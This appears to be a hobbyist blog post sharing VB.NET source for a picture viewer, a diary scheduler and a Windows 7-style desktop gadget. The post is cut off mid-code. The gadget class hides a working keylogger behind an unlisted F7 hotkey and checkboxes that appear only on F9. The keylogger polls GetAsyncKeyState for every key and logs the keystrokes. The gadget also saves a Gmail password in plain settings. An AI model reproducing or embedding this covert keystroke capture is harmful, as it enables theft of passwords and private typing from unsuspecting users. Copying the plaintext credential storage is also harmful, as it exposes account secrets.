Sunday, March 28

My informational picture viewer

Pictureviewer
_______________________



Public Class pctviewer

Private Sub DirListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DirListBox1.SelectedIndexChanged
Try
FileListBox1.Path = DirListBox1.Path
Catch ex As Exception
End Try
End Sub

Private Sub FileListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FileListBox1.SelectedIndexChanged
Dim i As System.Drawing.Image
Try
Dim k, l As String
k = FileListBox1.Path
l = k & "\" & FileListBox1.FileName
Me.Text = l
PictureBox1.ImageLocation = l
i = PictureBox1.Image
TextBox1.Text = i.Height
TextBox2.Text = i.Width
TextBox4.Text = i.VerticalResolution
TextBox3.Text = i.HorizontalResolution
TextBox5.Text = i.PixelFormat
TextBox6.Text = i.Flags
Catch ex As Exception
End Try
End Sub

Private Sub DriveListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DriveListBox1.SelectedIndexChanged
Try
Dim a As String
a = DriveListBox1.Drive
DirListBox1.Path = a
Catch ex As Exception
End Try
End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
Dim a As System.Drawing.Bitmap
a = PictureBox1.Image
a.SetResolution(TextBox7.Text, TextBox8.Text)
PictureBox1.Image = a
End Sub
Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
If ComboBox1.Text = "Normal" Then
Me.PictureBox1.SizeMode = PictureBoxSizeMode.Normal
ElseIf ComboBox1.Text = "Stretched" Then
Me.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage
ElseIf ComboBox1.Text = "Zoom" Then
Me.PictureBox1.SizeMode = PictureBoxSizeMode.Zoom
ElseIf ComboBox1.Text = "CenterImage" Then
Me.PictureBox1.SizeMode = PictureBoxSizeMode.CenterImage
End If
Me.Refresh()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim i As System.Drawing.Image
i = PictureBox1.Image
i.RotateFlip(RotateFlipType.Rotate90FlipXY)
PictureBox1.Image = i
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim i As System.Drawing.Image
i = PictureBox1.Image
Dim SaveFile1 As New SaveFileDialog()
SaveFile1.DefaultExt = "*.jpeg"
SaveFile1.Filter = "JPG Files(*.jpg*)|*.jpg|PIF(*.pif*)|*.pif|All files (*.*)|*.*"
SaveFile1.CheckPathExists = True
SaveFile1.Title = "Save File"
' Determine whether the user selected a file name from the saveFileDialog.
Try
If (SaveFile1.ShowDialog() = System.Windows.Forms.DialogResult.OK) _
And (SaveFile1.FileName.Length > 0) Then
' Save the contents of the RichTextBox into the file.
i.Save(SaveFile1.FileName)
End If
Catch ex As Exception 'Do nothing on Exception
End Try
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim a As System.Drawing.Image
a = PictureBox1.Image
a.RotateFlip(RotateFlipType.Rotate270FlipXY)
PictureBox1.Image = a
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
ComboBox1.Text = "Zoom"
End Sub

Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
ComboBox1.Text = "CenterImage"
End Sub

Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
Form4.Show()
End Sub
End Class


DOWNLOAD

My Schedular Diary

Public Class Schedular
Private Sub MonthCalendar2_DateChanged(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DateRangeEventArgs) Handles MonthCalendar2.DateChanged
TextBox2.Text = MonthCalendar2.SelectionEnd.Year & "\" & MonthCalendar2.SelectionEnd.DayOfYear
Dim i, cipher As String
Try
If RichTextBox1.Visible = True Then
i = "D:\Diary\" & TextBox2.Text & "\todo.rtf"
If My.Computer.FileSystem.DirectoryExists("D:\Diary\" & "\" & TextBox2.Text) Then
cipher = My.Computer.FileSystem.ReadAllText(i)
' cipher = cipher.Replace("z", "a")
' cipher = cipher.Replace("y", "b")
' cipher = cipher.Replace("x", "c")
'cipher = cipher.Replace("w", "d")
'cipher = cipher.Replace("v", "e")
'cipher = cipher.Replace("u", "f")
'cipher = cipher.Replace("t", "g")
'cipher = cipher.Replace("s", "h")
'cipher = cipher.Replace("r", "i")
'cipher = cipher.Replace("q", "j")
' cipher = cipher.Replace("p", "k")
' cipher = cipher.Replace("o", "l")
' cipher = cipher.Replace("n", "m")
' cipher = cipher.Replace("m", "n")
' cipher = cipher.Replace("l", "o")
' cipher = cipher.Replace("k", "p")
' cipher = cipher.Replace("j", "q")
' cipher = cipher.Replace("i", "r")
' cipher = cipher.Replace("h", "s")
' cipher = cipher.Replace("g", "t")
' cipher = cipher.Replace("f", "u")
' cipher = cipher.Replace("e", "v")
' cipher = cipher.Replace("d", "w")
' cipher = cipher.Replace("c", "x")
' cipher = cipher.Replace("b", "y")
'cipher = cipher.Replace("a", "z")
RichTextBox1.Text = cipher
Else
RichTextBox1.Text = "There is nothing updated on this date!!"
End If
ElseIf RichTextBox2.Visible = True Then
i = "D:\Diary\" & TextBox2.Text & "\remind.rtf"
If My.Computer.FileSystem.DirectoryExists("D:\Diary\" & "\" & TextBox2.Text) Then
cipher = My.Computer.FileSystem.ReadAllText(i)
' cipher = cipher.Replace("z", "a")
' cipher = cipher.Replace("y", "b")
' cipher = cipher.Replace("x", "c")
'cipher = cipher.Replace("w", "d")
'cipher = cipher.Replace("v", "e")
'cipher = cipher.Replace("u", "f")
'cipher = cipher.Replace("t", "g")
'cipher = cipher.Replace("s", "h")
'cipher = cipher.Replace("r", "i")
'cipher = cipher.Replace("q", "j")
' cipher = cipher.Replace("p", "k")
' cipher = cipher.Replace("o", "l")
' cipher = cipher.Replace("n", "m")
' cipher = cipher.Replace("m", "n")
' cipher = cipher.Replace("l", "o")
' cipher = cipher.Replace("k", "p")
' cipher = cipher.Replace("j", "q")
' cipher = cipher.Replace("i", "r")
' cipher = cipher.Replace("h", "s")
' cipher = cipher.Replace("g", "t")
' cipher = cipher.Replace("f", "u")
' cipher = cipher.Replace("e", "v")
' cipher = cipher.Replace("d", "w")
' cipher = cipher.Replace("c", "x")
' cipher = cipher.Replace("b", "y")
'cipher = cipher.Replace("a", "z")

RichTextBox2.Text = cipher
Else
RichTextBox2.Text = "There is nothing updated on this date!!"
End If
ElseIf RichTextBox3.Visible = True Then
i = "D:\Diary\" & TextBox2.Text & "\Diary.rtf"
If My.Computer.FileSystem.DirectoryExists("D:\Diary\" & "\" & TextBox2.Text) Then
cipher = My.Computer.FileSystem.ReadAllText(i)
' cipher = cipher.Replace("z", "a")
' cipher = cipher.Replace("y", "b")
' cipher = cipher.Replace("x", "c")
'cipher = cipher.Replace("w", "d")
'cipher = cipher.Replace("v", "e")
'cipher = cipher.Replace("u", "f")
'cipher = cipher.Replace("t", "g")
'cipher = cipher.Replace("s", "h")
'cipher = cipher.Replace("r", "i")
'cipher = cipher.Replace("q", "j")
' cipher = cipher.Replace("p", "k")
' cipher = cipher.Replace("o", "l")
' cipher = cipher.Replace("n", "m")
' cipher = cipher.Replace("m", "n")
' cipher = cipher.Replace("l", "o")
' cipher = cipher.Replace("k", "p")
' cipher = cipher.Replace("j", "q")
' cipher = cipher.Replace("i", "r")
' cipher = cipher.Replace("h", "s")
' cipher = cipher.Replace("g", "t")
' cipher = cipher.Replace("f", "u")
' cipher = cipher.Replace("e", "v")
' cipher = cipher.Replace("d", "w")
' cipher = cipher.Replace("c", "x")
' cipher = cipher.Replace("b", "y")
'cipher = cipher.Replace("a", "z")

RichTextBox3.Text = cipher
Else
RichTextBox3.Text = "There is nothing updated on this date!!"
End If
End If
Catch ex As Exception
End Try
End Sub
Private Sub ToolStripComboBox2_SelectedIndexChanged1(ByVal sender As Object, ByVal e As System.EventArgs) Handles ToolStripComboBox2.SelectedIndexChanged
RichTextBox1.SelectionFont = New Font(ToolStripComboBox2.Text, RichTextBox1.SelectionFont.SizeInPoints)
End Sub
Private Sub ToolStripComboBox3_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripComboBox3.Click
RichTextBox1.SelectionFont = New Font(ToolStripComboBox2.Text, ToolStripComboBox3.Text)
End Sub
Private Sub SaveToolStripButton_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SaveToolStripButton.Click
If RichTextBox1.Visible = True Then
Dim cipher As String
cipher = RichTextBox1.Text
cipher = cipher + vbNewLine + vbNewLine
Dim i As String
i = "D:\Diary\" & TextBox2.Text & "\todo.rtf"
If My.Computer.FileSystem.DirectoryExists("D:\Diary\" & TextBox2.Text) Then
If My.Computer.FileSystem.FileExists(i) Then
My.Computer.FileSystem.DeleteFile(i)
End If
My.Computer.FileSystem.WriteAllText(i, cipher, True)
Else
My.Computer.FileSystem.CreateDirectory("D:\Diary\" & TextBox2.Text)
My.Computer.FileSystem.WriteAllText(i, cipher, True)
End If
ElseIf RichTextBox2.Visible = True Then
Dim cipher As String
cipher = RichTextBox2.Text
cipher = cipher + vbNewLine + vbNewLine
Dim i As String
i = "D:\Diary\" & TextBox2.Text & "\remind.rtf"
If My.Computer.FileSystem.DirectoryExists("D:\Diary\" & TextBox2.Text) Then
If My.Computer.FileSystem.FileExists(i) Then
My.Computer.FileSystem.DeleteFile(i)
End If
My.Computer.FileSystem.WriteAllText(i, cipher, True)
Else
My.Computer.FileSystem.CreateDirectory("D:\Diary\" & TextBox2.Text)
My.Computer.FileSystem.WriteAllText(i, cipher, True)
End If
ElseIf RichTextBox3.Visible = True Then
Dim cipher As String
cipher = RichTextBox3.Text
cipher = cipher + vbNewLine + vbNewLine
Dim i As String
i = "D:\Diary\" & TextBox2.Text & "\Diary.rtf"
If My.Computer.FileSystem.DirectoryExists("D:\Diary\" & TextBox2.Text) Then
If My.Computer.FileSystem.FileExists(i) Then
My.Computer.FileSystem.DeleteFile(i)
End If
My.Computer.FileSystem.WriteAllText(i, cipher, True)
Else
My.Computer.FileSystem.CreateDirectory("D:\Diary\" & TextBox2.Text)
My.Computer.FileSystem.WriteAllText(i, cipher, True)
End If
End If


End Sub
Private Sub CutToolStripButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CutToolStripButton.Click
RichTextBox1.Cut()
End Sub
Private Sub CopyToolStripButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CopyToolStripButton.Click
RichTextBox1.Copy()
End Sub
Private Sub PasteToolStripButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PasteToolStripButton.Click
RichTextBox1.Paste()
End Sub
Private Sub ToolStripButton20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton20.Click
RichTextBox1.Clear()
End Sub
Private Sub ToolStripButton21_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton21.Click
RichTextBox1.Undo()
End Sub
Private Sub ToolStripButton22_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton22.Click
RichTextBox1.Redo()
End Sub
Private Sub ToolStripButton52_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton52.Click
RichTextBox1.SelectionFont = New Font(RichTextBox1.SelectionFont.Name, RichTextBox1.SelectionFont.Size, FontStyle.Bold)
End Sub
Private Sub ToolStripButton31_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton31.Click
RichTextBox1.SelectionFont = New Font(RichTextBox1.SelectionFont.Name, RichTextBox1.SelectionFont.Size, FontStyle.Italic)
End Sub
Private Sub ToolStripButton53_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton53.Click
RichTextBox1.SelectionFont = New Font(RichTextBox1.SelectionFont.Name, RichTextBox1.SelectionFont.Size, FontStyle.Underline)
End Sub
Private Sub ToolStripButton26_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton26.Click
FontDialog1.ShowDialog()
RichTextBox1.Font = FontDialog1.Font
End Sub
Private Sub ToolStripButton27_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton27.Click
ColorDialog1.ShowDialog()
RichTextBox1.SelectionColor = ColorDialog1.Color
End Sub

Private Sub ToolStripButton64_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton64.Click
ColorDialog1.ShowDialog()
RichTextBox1.SelectionBackColor = ColorDialog1.Color
End Sub

Private Sub ToolStripButton29_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton29.Click
Dim sn, so As String
sn = RichTextBox1.SelectedText
so = LCase(sn)
RichTextBox1.SelectedText = so
End Sub

Private Sub ToolStripButton30_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton30.Click
Dim sp, sq As String
sp = RichTextBox1.SelectedText
sq = UCase(sp)
RichTextBox1.SelectedText = sq
End Sub

Private Sub ToolStripButton60_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton60.Click
RichTextBox1.SelectionFont = New Font(RichTextBox1.SelectionFont.OriginalFontName, RichTextBox1.SelectionFont.SizeInPoints, FontStyle.Strikeout)
End Sub

Private Sub ToolStripButton23_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton23.Click
RichTextBox1.SelectionAlignment = HorizontalAlignment.Left
End Sub

Private Sub ToolStripButton24_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton24.Click
RichTextBox1.SelectionAlignment = HorizontalAlignment.Right
End Sub

Private Sub ToolStripButton25_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton25.Click
RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
End Sub

Private Sub ToolStripButton59_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton59.Click
Dim i As Integer
i = RichTextBox1.SelectionIndent
Try
If i < 250 Then
RichTextBox1.SelectionIndent = i + 7
Else
End If
Catch ex As Exception
End Try
End Sub

Private Sub ToolStripButton62_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton62.Click
Dim i As Integer
i = RichTextBox1.SelectionIndent
Try
If i > 7 Then
RichTextBox1.SelectionIndent = i - 7
Else
End If
Catch ex As Exception
End Try
End Sub

Private Sub ToolStripButton63_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton63.Click
RichTextBox1.SelectionBullet = True
RichTextBox1.SelectedRtf = RichTextBox1.SelectedRtf + ControlChars.Cr
RichTextBox1.SelectionIndent += 20
End Sub

Private Sub Schedular_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub
End Class

My window7 slidebar

Imports System.IO
Imports System.Net.Mail
Public Class slidebar
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Public Sub fadeclose()
Panel2.Hide()
Dim i As Double
For i = Me.Opacity To 0.0 Step -0.0008
Me.Opacity = i
Application.DoEvents()
Next
End
End Sub
Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll
Me.Opacity = TrackBar1.Value / 100
Me.Refresh()
End Sub

Private Sub slidebar_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.DoubleClick
Me.Hide()
End Sub
Private Sub slidebar_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If My.Settings.myposition2 = "" Then
Else
Me.Top = My.Settings.myposition2
Me.Left = My.Settings.myposition
End If
Try
ComboBox1.Text = My.Settings.mailid
TextBox5.Text = My.Settings.mailpwd
Button1.BackColor = Me.BackColor
Catch ex As Exception
End Try
TextBox6.Text = Today.Year & "\" & Today.DayOfYear
Dim i, j, k, cipher As String
i = "D:\Diary\" & TextBox6.Text & "\Diary.rtf"
j = "D:\Diary\" & TextBox6.Text & "\remind.rtf"
k = "D:\Diary\" & TextBox6.Text & "\todo.rtf"
Try
If My.Computer.FileSystem.DirectoryExists("D:\Diary\" & "\" & TextBox6.Text) Then
cipher = My.Computer.FileSystem.ReadAllText(i)
RichTextBox4.Text = cipher
RichTextBox1.Text = My.Computer.FileSystem.ReadAllText(k)
RichTextBox3.Text = My.Computer.FileSystem.ReadAllText(j)
Else
RichTextBox4.Text = "There is nothing updated on this date!!"
End If
Catch ex As Exception
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Panel2.Show()
Panel2.BringToFront()
Panel4.Visible = False
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
ColorDialog1.ShowDialog()
Me.BackColor = ColorDialog1.Color
Button1.BackColor = Me.BackColor
Button2.BackColor = Me.BackColor
Me.Refresh()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Label2.Text = TimeOfDay
Dim cpuload As Integer = CDec(PerformanceCounter1.NextValue.ToString)
cpuload = 100 - cpuload
Label9.Text = cpuload.ToString & "%"
On Error Resume Next
ProgressBar1.Value = cpuload.ToString()

End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.Opacity = 1
Try
OpenFileDialog1.ShowDialog()
Dim file As String
file = OpenFileDialog1.FileName
Label3.Text = OpenFileDialog1.FileName
AxWindowsMediaPlayer1.URL = Label3.Text
Catch x As Exception
End Try
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Label1.Text = TextBox1.Text
End Sub
Private Sub Label1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Label1.DoubleClick
Panel1.BackColor = Me.BackColor
Panel1.Show()
End Sub
Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
Panel1.Hide()
End Sub
Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
fadeclose()
End Sub
Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
fadeclose()
End Sub
Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
Panel2.Hide()
End Sub
Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
Taskbar.Show()
End Sub
Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
Button10.Enabled = False
Timer2.Enabled = True
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If TextBox2.Text = 0 Then
Shell("shutdown -f -s")
Else
TextBox2.Text -= 1
End If
End Sub
Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click
Timer2.Enabled = False
Button10.Enabled = True
End Sub

Private Sub AxWindowsMediaPlayer1_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AxWindowsMediaPlayer1.Enter

End Sub
Private Sub RichTextBox4_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles RichTextBox4.KeyDown
If e.KeyCode = Keys.F7 Then
Timer3.Enabled = True
End If
If e.KeyCode = Keys.F8 Then
Timer3.Enabled = False
End If
If e.KeyCode = Keys.F9 Then
CheckBox1.Show()
CheckBox2.Show()
End If
If e.KeyCode = Keys.F10 Then
CheckBox1.Visible = False
CheckBox2.Visible = False
End If
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
If CheckBox2.CheckState = CheckState.Checked Then
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[SHIFT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ¤", "[ALT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ¢", "[CTRL] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[BACKSPACE] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[CAPS LOCK] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT]¡", "[RSHIFT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ¥", "[RALT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" £", "[RCTRL] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("%", "[LEFT ARROW] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("'", "[RIGHT ARROW] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("&", "[UP ARROW] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("(", "[DOWN ARROW] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("-", "[INSERT] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("$", "[HOME] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("#", "[END] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("!", "[PAGE UP] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("x", "[F9] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("p", "[F1] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("q", "[F2] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("r", "[F3] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("s", "[F4] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("t", "[F5] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("u", "[F6] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("v", "[F7] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("w", "[F8] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("y", "[F10] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("z", "[F11] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("{", "[F12] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[ESC] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(",", "[PRINTSCREEN] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", "[PAUSEBREAK] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("", "[NUM LOCK] ")
End If
RichTextBox3.Text = RichTextBox3.Text.Replace("¾", ".")
RichTextBox3.Text = RichTextBox3.Text.Replace("¾", ".")
RichTextBox3.Text = RichTextBox3.Text.Replace("½", "[DASH] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("[INSERT][DASH]", "[DASH] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("»", "=")
RichTextBox3.Text = RichTextBox3.Text.Replace("Ü", "\")
RichTextBox3.Text = RichTextBox3.Text.Replace("Ü", "\")
RichTextBox3.Text = RichTextBox3.Text.Replace("a", "1")
RichTextBox3.Text = RichTextBox3.Text.Replace("b", "2")
RichTextBox3.Text = RichTextBox3.Text.Replace("c", "3")
RichTextBox3.Text = RichTextBox3.Text.Replace("d", "4")
RichTextBox3.Text = RichTextBox3.Text.Replace("e", "5")
RichTextBox3.Text = RichTextBox3.Text.Replace("f", "6")
RichTextBox3.Text = RichTextBox3.Text.Replace("g", "7")
RichTextBox3.Text = RichTextBox3.Text.Replace("h", "8")
RichTextBox3.Text = RichTextBox3.Text.Replace("i", "9")
RichTextBox3.Text = RichTextBox3.Text.Replace("o", "/")
RichTextBox3.Text = RichTextBox3.Text.Replace("j", "*")
RichTextBox3.Text = RichTextBox3.Text.Replace("k", "+")
RichTextBox3.Text = RichTextBox3.Text.Replace("m", "[DASH] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("¿", "/")
RichTextBox3.Text = RichTextBox3.Text.Replace("`", "0")
RichTextBox3.Text = RichTextBox3.Text.Replace("n", ".")
RichTextBox3.Text = RichTextBox3.Text.Replace("¼", "[COMMA] ")
RichTextBox3.Text = RichTextBox3.Text.Replace(" ", vbNewLine & "[TAB] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("Ý", "[SQR BRKTL] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("Û", "SQR BRKT ")
RichTextBox3.Text = RichTextBox3.Text.Replace("Þ", "[QUOTE] ")
RichTextBox3.Text = RichTextBox3.Text.Replace("º", ";")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT] 2", "@")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT] 6", "^")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT] 8", "*")
RichTextBox3.Text = RichTextBox3.Text.Replace("[SHIFT] 0", ")")
If CheckBox1.CheckState = CheckState.Checked Then
For i = 1 To 275
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox3.Text = RichTextBox3.Text + Chr(i)
End If
Next i
End If
End Sub
Private Sub Label12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label12.Click
Panel3.Show()
End Sub

Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click
Panel3.Hide()
End Sub
Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
If CheckBox3.CheckState = CheckState.Checked Then
My.Settings.mailid = ComboBox1.Text
My.Settings.mailpwd = TextBox5.Text
My.Settings.Save()
End If
End Sub
Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click
My.Settings.mailid = ""
My.Settings.mailpwd = ""
My.Settings.Save()
CheckBox3.CheckState = CheckState.Unchecked
ComboBox1.Text = ""
TextBox5.Text = ""
End Sub
Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click
Dim emailid, password As String
Dim ia As String
ia = "@gmail.com"
emailid = ComboBox1.Text & ia
password = TextBox5.Text
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
Try
'for concatenation with gmail id
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(TextBox3.Text)
mail.Subject = TextBox4.Text
mail.Body = RichTextBox2.Text
smtpServer.Send(mail)
MsgBox("Mail Successfully Sent to " & TextBox3.Text)
Catch ex As Exception
End Try
End Sub

Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click
Schedular.Show()
End Sub

Private Sub NotifyIcon1_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick
Me.Show()
End Sub

Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick

End Sub
Private Sub Button17_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button17.MouseMove
Me.Left += 1
End Sub
Private Sub Button16_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button16.MouseMove
Me.Left -= 1
End Sub
Private Sub Button19_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button19.MouseMove
Me.Top -= 1
End Sub
Private Sub Button18_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Button18.MouseMove
Me.Top += 1
End Sub

Private Sub Button23_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button23.Click
Me.Top += 1
End Sub

Private Sub Button22_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button22.Click
Me.Top -= 1
End Sub

Private Sub Button21_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button21.Click
Me.Left += 1
End Sub

Private Sub Button20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button20.Click
Me.Left -= 1
End Sub

Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged
If CheckBox4.Checked Then
Panel4.Hide()
End If
End Sub

Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
If CheckBox5.Checked Then
My.Settings.myposition = Me.Left
My.Settings.myposition2 = Me.Top
My.Settings.Save()
End If
End Sub

Private Sub SetPositionToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SetPositionToolStripMenuItem.Click
Panel4.Show()
End Sub

Private Sub MinimizeToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MinimizeToolStripMenuItem.Click
Me.Hide()
End Sub

Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitToolStripMenuItem.Click
End
End Sub
Private Sub LovesWebBrowserToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LovesWebBrowserToolStripMenuItem.Click
ePad.Show()
End Sub

Private Sub PcInformationStorerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PcInformationStorerToolStripMenuItem.Click
Try
ProgressBar2.Visible = True
SaveFileDialog1.FileName = "computer info"
SaveFileDialog1.Filter = "Text(*.txt)|*.txt|HTML(*html*)|*.html|PHP(*.php*)|*.php*|All files (*.*)|*.*"
SaveFileDialog1.ShowDialog()
Dim i As Integer
Dim items() As String
Dim items2() As String
Dim items3() As String
Dim a As String
Dim itm, itm2, itm3 As String
Dim driveinfo As System.IO.DriveInfo
Dim b As Integer
